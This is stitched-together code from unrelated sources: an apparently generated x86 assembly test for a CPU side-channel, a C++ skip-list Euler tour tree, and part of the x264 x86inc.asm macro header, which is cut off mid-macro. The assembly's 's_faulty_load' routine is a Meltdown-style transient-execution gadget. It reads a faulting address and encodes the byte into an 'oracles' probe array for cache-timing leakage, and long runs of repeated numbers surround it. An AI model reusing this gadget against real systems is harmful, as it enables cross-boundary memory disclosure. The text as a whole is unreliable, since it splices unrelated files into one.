36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x254e, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
xor %rdx, %rdx
movups (%rcx), %xmm4
vpextrq $0, %xmm4, %rdi
nop
nop
nop
inc %rdi
lea addresses_D_ht+0x13e8e, %r9
and %r10, %r10
vmovups (%r9), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r14
nop
nop
cmp $27065, %rcx
lea addresses_WC_ht+0xcec6, %r9
nop
and %r10, %r10
movl $0x61626364, (%r9)
nop
nop
lfence
lea addresses_WC_ht+0x6186, %rdx
nop
nop
nop
nop
nop
cmp $48561, %r13
movups (%rdx), %xmm2
vpextrq $1, %xmm2, %r10
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_UC_ht+0x3ad4, %rsi
lea addresses_normal_ht+0xb271, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
inc %r10
mov $36, %rcx
rep movsw
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WT_ht+0xad4e, %rsi
lea addresses_WC_ht+0x98e, %rdi
and %r13, %r13
mov $84, %rcx
rep movsb
nop
add $47114, %r14
lea addresses_WC_ht+0x50d2, %r9
nop
nop
nop
dec %rdx
mov (%r9), %si
cmp $4106, %rdx
lea addresses_normal_ht+0xa74e, %rsi
lea addresses_WT_ht+0x774e, %rdi
nop
and %r10, %r10
mov $117, %rcx
rep movsq
nop
and %r10, %r10
lea addresses_A_ht+0x1cbb2, %rsi
lea addresses_normal_ht+0x554e, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $53329, %rdx
mov $100, %rcx
rep movsw
nop
add %r13, %r13
lea addresses_WC_ht+0xb14e, %rsi
lea addresses_WC_ht+0x990e, %rdi
nop
nop
nop
dec %r13
mov $126, %rcx
rep movsq
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_UC_ht+0xad4e, %rsi
lea addresses_normal_ht+0xcb4e, %rdi
clflush (%rsi)
nop
nop
nop
nop
add %rdx, %rdx
mov $85, %rcx
rep movsw
and $36045, %rcx
lea addresses_D_ht+0x5dce, %rdx
nop
nop
nop
nop
nop
sub $5848, %rdi
mov $0x6162636465666768, %r10
movq %r10, %xmm0
vmovups %ymm0, (%rdx)
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x1141e, %rsi
nop
nop
and %r13, %r13
vmovups (%rsi), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdx
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_A_ht+0x42ea, %r14
nop
nop
nop
nop
nop
xor $47020, %rsi
mov (%r14), %ecx
nop
nop
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_WC+0xd84e, %rsi
lea addresses_normal+0x12cee, %rdi
clflush (%rsi)
nop
nop
nop
sub $64959, %r8
mov $70, %rcx
rep movsb
nop
nop
nop
nop
cmp %r8, %r8
// Store
lea addresses_WT+0x954e, %rsi
clflush (%rsi)
add %rdi, %rdi
movl $0x51525354, (%rsi)
nop
add $1839, %rsi
// Store
lea addresses_WT+0x416c, %r12
nop
nop
nop
nop
nop
sub %rcx, %rcx
movw $0x5152, (%r12)
mfence
// REPMOV
lea addresses_WT+0x954e, %rsi
lea addresses_A+0x14fce, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $891, %rax
mov $51, %rcx
rep movsq
nop
nop
nop
nop
xor %rcx, %rcx
// Store
lea addresses_D+0x207e, %r12
nop
nop
nop
nop
dec %rsi
movw $0x5152, (%r12)
nop
nop
nop
nop
and %r11, %r11
// Store
mov $0x34e, %rcx
nop
xor %rbp, %rbp
mov $0x5152535455565758, %r11
movq %r11, (%rcx)
nop
nop
nop
nop
nop
dec %rbp
// Store
lea addresses_A+0x1db4e, %r11
nop
nop
nop
cmp $64327, %rax
movl $0x51525354, (%r11)
nop
cmp $41838, %r11
// Store
lea addresses_normal+0x1314e, %r8
nop
nop
add $14146, %rdi
mov $0x5152535455565758, %rax
movq %rax, (%r8)
nop
nop
nop
inc %rcx
// Store
lea addresses_D+0x1514e, %rdi
sub $26064, %r8
movl $0x51525354, (%rdi)
nop
nop
nop
add %r12, %r12
// Faulty Load
lea addresses_WT+0x954e, %rsi
nop
nop
nop
nop
nop
sub $44430, %rcx
movb (%rsi), %al
lea oracles, %rdi
and $0xff, %rax
shlq $12, %rax
mov (%rdi,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_WT', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
#include <dynamic_trees/euler_tour_tree/include/skip_list_ett.hpp>
#include <utilities/include/random.h>
namespace skip_list_ett {
using Element = skip_list::Element;
using std::pair;
EulerTourTree::EulerTourTree(int _num_verts) : num_verts(_num_verts) {
pbbs::random randomness;
verts = pbbs::new_array_no_init<Element>(num_verts);
for (int i = 0; i < num_verts; i++) {
new (&verts[i]) Element(randomness.ith_rand(i));
Element::Join(&verts[i], &verts[i]);
}
randomness = randomness.next();
const int max_edges = 2 * (num_verts - 1);
edges.reserve(max_edges);
node_pool.reserve(max_edges);
for (int i = 0; i < max_edges; i++) {
node_pool.push_back(new Element(randomness.ith_rand(i)));
}
}
EulerTourTree::~EulerTourTree() {
for (auto it : edges) {
delete it.second;
}
for (auto it : node_pool) {
delete it;
}
pbbs::delete_array(verts, num_verts);
}
bool EulerTourTree::IsConnected(int u, int v) {
return verts[u].FindRepresentative() == verts[v].FindRepresentative();
}
void EulerTourTree::Link(int u, int v) {
Element* uv = node_pool.back();
node_pool.pop_back();
Element* vu = node_pool.back();
node_pool.pop_back();
edges[make_pair(u, v)] = uv;
edges[make_pair(v, u)] = vu;
Element* u_left = &verts[u];
Element* v_left = &verts[v];
Element* u_right = u_left->Split();
Element* v_right = v_left->Split();
Element::Join(u_left, uv);
Element::Join(uv, v_right);
Element::Join(v_left, vu);
Element::Join(vu, u_right);
}
void EulerTourTree::Cut(int u, int v) {
auto uv_it = edges.find(std::make_pair(u, v));
auto vu_it = edges.find(std::make_pair(v, u));
Element* uv = uv_it->second;
Element* vu = vu_it->second;
edges.erase(uv_it);
edges.erase(vu_it);
Element* u_left = uv->GetPreviousElement();
Element* v_left = vu->GetPreviousElement();
Element* v_right = uv->Split();
Element* u_right = vu->Split();
u_left->Split();
v_left->Split();
Element::Join(u_left, u_right);
Element::Join(v_left, v_right);
node_pool.push_back(uv);
node_pool.push_back(vu);
}
bool* EulerTourTree::BatchConnected(pair<int, int>* queries, int len) {
bool* ans = pbbs::new_array_no_init<bool>(len);
for (int i = 0; i < len; i++) {
ans[i] = IsConnected(queries[i].first, queries[i].second);
}
return ans;
}
void EulerTourTree::BatchLink(pair<int, int>* links, int len) {
for (int i = 0; i < len; i++) {
Link(links[i].first, links[i].second);
}
}
void EulerTourTree::BatchCut(pair<int, int>* cuts, int len) {
for (int i = 0; i < len; i++) {
Cut(cuts[i].first, cuts[i].second);
}
}
} // namespace skip_list_ett
|
;*****************************************************************************
;* x86inc.asm: x264asm abstraction layer
;*****************************************************************************
;* Copyright (C) 2005-2011 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Anton Mitrofanov <BugMaster@narod.ru>
;* Jason Garrett-Glaser <darkshikari@gmail.com>
;*
;* Permission to use, copy, modify, and/or distribute this software for any
;* purpose with or without fee is hereby granted, provided that the above
;* copyright notice and this permission notice appear in all copies.
;*
;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;*****************************************************************************
; This is a header file for the x264ASM assembly language, which uses
; NASM/YASM syntax combined with a large number of macros to provide easy
; abstraction between different calling conventions (x86_32, win64, linux64).
; It also has various other useful features to simplify writing the kind of
; DSP functions that are most often used in x264.
; Unlike the rest of x264, this file is available under an ISC license, as it
; has significant usefulness outside of x264 and we want it to be available
; to the largest audience possible. Of course, if you modify it for your own
; purposes to add a new feature, we strongly encourage contributing a patch
; as this feature might be useful for others as well. Send patches or ideas
; to x264-devel@videolan.org .
%define program_name ff
%ifdef ARCH_X86_64
%ifidn __OUTPUT_FORMAT__,win32
%define WIN64
%else
%define UNIX64
%endif
%endif
%ifdef PREFIX
%define mangle(x) _ %+ x
%else
%define mangle(x) x
%endif
; FIXME: All of the 64bit asm functions that take a stride as an argument
; via register, assume that the high dword of that register is filled with 0.
; This is true in practice (since we never do any 64bit arithmetic on strides,
; and x264's strides are all positive), but is not guaranteed by the ABI.
; Name of the .rodata section.
; Kludge: Something on OS X fails to align .rodata even given an align attribute,
; so use a different read-only section.
%macro SECTION_RODATA 0-1 16
%ifidn __OUTPUT_FORMAT__,macho64
SECTION .text align=%1
%elifidn __OUTPUT_FORMAT__,macho
SECTION .text align=%1
fakegot:
%elifidn __OUTPUT_FORMAT__,aout
section .text
%else
SECTION .rodata align=%1
%endif
%endmacro
; aout does not support align=
%macro SECTION_TEXT 0-1 16
%ifidn __OUTPUT_FORMAT__,aout
SECTION .text
%else
SECTION .text align=%1
%endif
%endmacro
%ifdef WIN64
%define PIC
%elifndef ARCH_X86_64
; x86_32 doesn't require PIC.
; Some distros prefer shared objects to be PIC, but nothing breaks if
; the code contains a few textrels, so we'll skip that complexity.
%undef PIC
%endif
%ifdef PIC
default rel
%endif
; Macros to eliminate most code duplication between x86_32 and x86_64:
; Currently this works only for leaf functions which load all their arguments
; into registers at the start, and make no other use of the stack. Luckily that
; covers most of x264's asm.
; PROLOGUE:
; %1 = number of arguments. loads them from stack if needed.
; %2 = number of registers used. pushes callee-saved regs if needed.
; %3 = number of xmm registers used. pushes callee-saved xmm regs if needed.
; %4 = list of names to define to registers
; PROLOGUE can also be invoked by adding the same options to cglobal
; e.g.
; cglobal foo, 2,3,0, dst, src, tmp
; declares a function (foo), taking two args (dst and src) and one local variable (tmp)
; TODO Some functions can use some args directly from the stack. If they're the
; last args then you can just not declare them, but if they're in the middle
; we need more flexible macro.
; RET:
; Pops anything that was pushed by PROLOGUE, and returns.
; REP_RET:
; Same, but if it doesn't pop anything it becomes a 2-byte ret, for athlons
; which are slow when a normal ret follows a branch.
; registers:
; rN and rNq are the native-size register holding function argument N
; rNd, rNw, rNb are dword, word, and byte size
; rNm is the original location of arg N (a register or on the stack), dword
; rNmp is native size
%macro DECLARE_REG 6
%define r%1q %2
%define r%1d %3
%define r%1w %4
%define r%1b %5
%define r%1m %6
%ifid %6 ; i.e. it's a register
%define r%1mp %2
%elifdef ARCH_X86_64 ; memory
%define r%1mp qword %6
%else
%define r%1mp dword %6
%endif
%define r%1 %2
%endmacro
%macro DECLARE_REG_SIZE 2
%define r%1q r%1
%define e%1q r%1
%define r%1d e%1
%define e%1d e%1
%define r%1w %1
%define e%1w %1
%define r%1b %2
%define e%1b %2
%ifndef ARCH_X86_64
%define r%1 e%1
%endif
%endmacro
DECLARE_REG_SIZE ax, al
DECLARE_REG_SIZE bx, bl
DECLARE_REG_SIZE cx, cl
DECLARE_REG_SIZE dx, dl
DECLARE_REG_SIZE si, sil
DECLARE_REG_SIZE di, dil
DECLARE_REG_SIZE bp, bpl
; t# defines for when per-arch register allocation is more complex than just function arguments
%macro DECLARE_REG_TMP 1-*
%assign %%i 0
%rep %0
CAT_XDEFINE t, %%i, r%1
%assign %%i %%i+1
%rotate 1
%endrep
%endmacro
%macro DECLARE_REG_TMP_SIZE 0-*
%rep %0
%define t%1q t%1 %+ q
%define t%1d t%1 %+ d
%define t%1w t%1 %+ w
%define t%1b t%1 %+ b
%rotate 1
%endrep
%endmacro
DECLARE_REG_TMP_SIZE 0,1,2,3,4,5,6,7,8,9
%ifdef ARCH_X86_64
%define gprsize 8
%else
%define gprsize 4
%endif
%macro PUSH 1
push %1
%assign stack_offset stack_offset+gprsize
%endmacro
%macro POP 1
pop %1
%assign stack_offset stack_offset-gprsize
%endmacro
%macro SUB 2
sub %1, %2
%ifidn %1, rsp
%assign stack_offset stack_offset+(%2)
%endif
%endmacro
%macro ADD 2
add %1, %2
%ifidn %1, rsp
%assign stack_offset stack_offset-(%2)
%endif
%endmacro
%macro movifnidn 2
%ifnidn %1, %2
mov %1, %2
%endif
%endmacro
%macro movsxdifnidn 2
%ifnidn %1, %2
movsxd %1, %2
%endif
%endmacro
%macro ASSERT 1
%if (%1) == 0
%error assert failed
%endif
%endmacro
%macro DEFINE_ARGS 0-*
%ifdef n_arg_names
%assign %%i 0
%rep n_arg_names
CAT_UNDEF arg_name %+ %%i, q
CAT_UNDEF arg_name %+ %%i, d
CAT_UNDEF arg_name %+ %%i, w
CAT_UNDEF arg_name %+ %%i, b
CAT_UNDEF arg_name %+ %%i, m
CAT_UNDEF arg_name, %%i
%assign %%i %%i+1
%endrep
%endif
%assign %%i 0
%rep %0
%xdefine %1q r %+ %%i %+ q
%xdefine %1d r %+ %%i %+ d
%xdefine %1w r %+ %%i %+ w
%xdefine %1b r %+ %%i %+ b
%xdefine %1m r %+ %%i %+ m
CAT_XDEFINE arg_name, %%i, %1
%assign %%i %%i+1
%rotate 1
%endrep
%assign n_arg_names %%i
%endmacro
%ifdef WIN64 ; Windows x64 ;=================================================
DECLARE_REG 0, rcx, ecx, cx, cl, ecx
DECLARE_REG 1, rdx, edx, dx, dl, edx
DECLARE_REG 2, r8, r8d, r8w, r8b, r8d
DECLARE_REG 3, r9, r9d, r9w, r9b, r9d
DECLARE_REG 4, rdi, edi, di, dil, [rsp + stack_offset + 40]
DECLARE_REG 5, rsi, esi, si, sil, [rsp + stack_offset + 48]
DECLARE_REG 6, rax, eax, ax, al, [rsp + stack_offset + 56]
%define r7m [rsp + stack_offset + 64]
%define r8m [rsp + stack_offset + 72]
%macro LOAD_IF_USED 2 ; reg_id, number_of_args
%if %1 < %2
mov r%1, [rsp + stack_offset + 8 + %1*8]
%endif
%endmacro
%macro PROLOGUE 2-4+ 0 ; #args, #regs, #xmm_regs, arg_names...
ASSERT %2 >= %1
%assign regs_used %2
ASSERT regs_used <= 7
%if regs_used > 4
push r4
push r5
%assign stack_offset stack_offset+16
%endif
WIN64_SPILL_XMM %3
LOAD_IF_USED 4, %1
LOAD_IF_USED 5, %1
LOAD_IF_USED 6, %1
DEFINE_ARGS %4
%endmacro
%macro WIN64_SPILL_XMM 1
%assign xmm_regs_used %1
%if mmsize == 8
%assign xmm_regs_used 0
%endif
ASSERT xmm_regs_used <= 16
%if xmm_regs_used > 6
sub rsp, (xmm_regs_used-6)*16+16
%assign stack_offset stack_offset+(xmm_regs_used-6)*16+16
%assign %%i xmm_regs_used
%rep (xmm_regs_used-6)
%assign %%i %%i-1
movdqa [rsp + (%%i-6)*16+8], xmm %+ %%i
%endrep
%endif
%endmacro
%macro WIN64_RESTORE_XMM_INTERNAL 1
%if xmm_regs_used > 6
%assign %%i xmm_regs_used
%rep (xmm_regs_used-6)
%assign %%i %%i-1
movdqa xmm %+ %%i, [%1 + (%%i-6)*16+8]
%endrep
add %1, (xmm_regs_used-6)*16+16
%endif
%endmacro
%macro WIN64_RESTORE_XMM 1
WIN64_RESTORE_XMM_INTERNAL %1
%assign stack_offset stack_offset-(xmm_regs_used-6)*16+16
%assign xmm_regs_used 0
%endmacro
%macro RET 0
WIN64_RESTORE_XMM_INTERNAL rsp
%if regs_used > 4
pop r5
pop r4
%endif
ret
%endmacro
%macro REP_RET 0
%if regs_used > 4 || xmm_regs_used > 6
RET
%else
rep ret
%endif
%endmacro
%elifdef ARCH_X86_64 ; *nix x64 ;=============================================
DECLARE_REG 0, rdi, edi, di, dil, edi
DECLARE_REG 1, rsi, esi, si, sil, esi
DECLARE_REG 2, rdx, edx, dx, dl, edx
DECLARE_REG 3, rcx, ecx, cx, cl, ecx
DECLARE_REG 4, r8, r8d, r8w, r8b, r8d
DECLARE_REG 5, r9, r9d, r9w, r9b, r9d
DECLARE_REG 6, rax, eax, ax, al, [rsp + stack_offset + 8]
%define r7m [rsp + stack_offset + 16]
%define r8m [rsp + stack_offset + 24]
%macro LOAD_IF_USED 2 ; reg_id, number_of_args
%if %1 < %2
mov r%1, [rsp - 40 + %1*8]
%endif
%endmacro
%macro PROLOGUE 2-4+ ; #args, #regs, #xmm_regs, arg_names...
ASSERT %2 >= %1
ASSERT %2 <= 7
LOAD_IF_USED 6, %1
DEFINE_ARGS %4
%endmacro
%macro RET 0
ret
%endmacro
%macro REP_RET 0
rep ret
%endmacro
%else ; X86_32 ;==============================================================
DECLARE_REG 0, eax, eax, ax, al, [esp + stack_offset + 4]
DECLARE_REG 1, ecx, ecx, cx, cl, [esp + stack_offset + 8]
DECLARE_REG 2, edx, edx, dx, dl, [esp + stack_offset + 12]
DECLARE_REG 3, ebx, ebx, bx, bl, [esp + stack_offset + 16]
DECLARE_REG 4, esi, esi, si, null, [esp + stack_offset + 20]
DECLARE_REG 5, edi, edi, di, null, [esp + stack_offset + 24]
DECLARE_REG 6, ebp, ebp, bp, null, [esp + stack_offset + 28]
%define r7m [esp + stack_offset + 32]
%define r8m [esp + stack_offset + 36]
%define rsp esp
%macro PUSH_IF_USED 1 ; reg_id
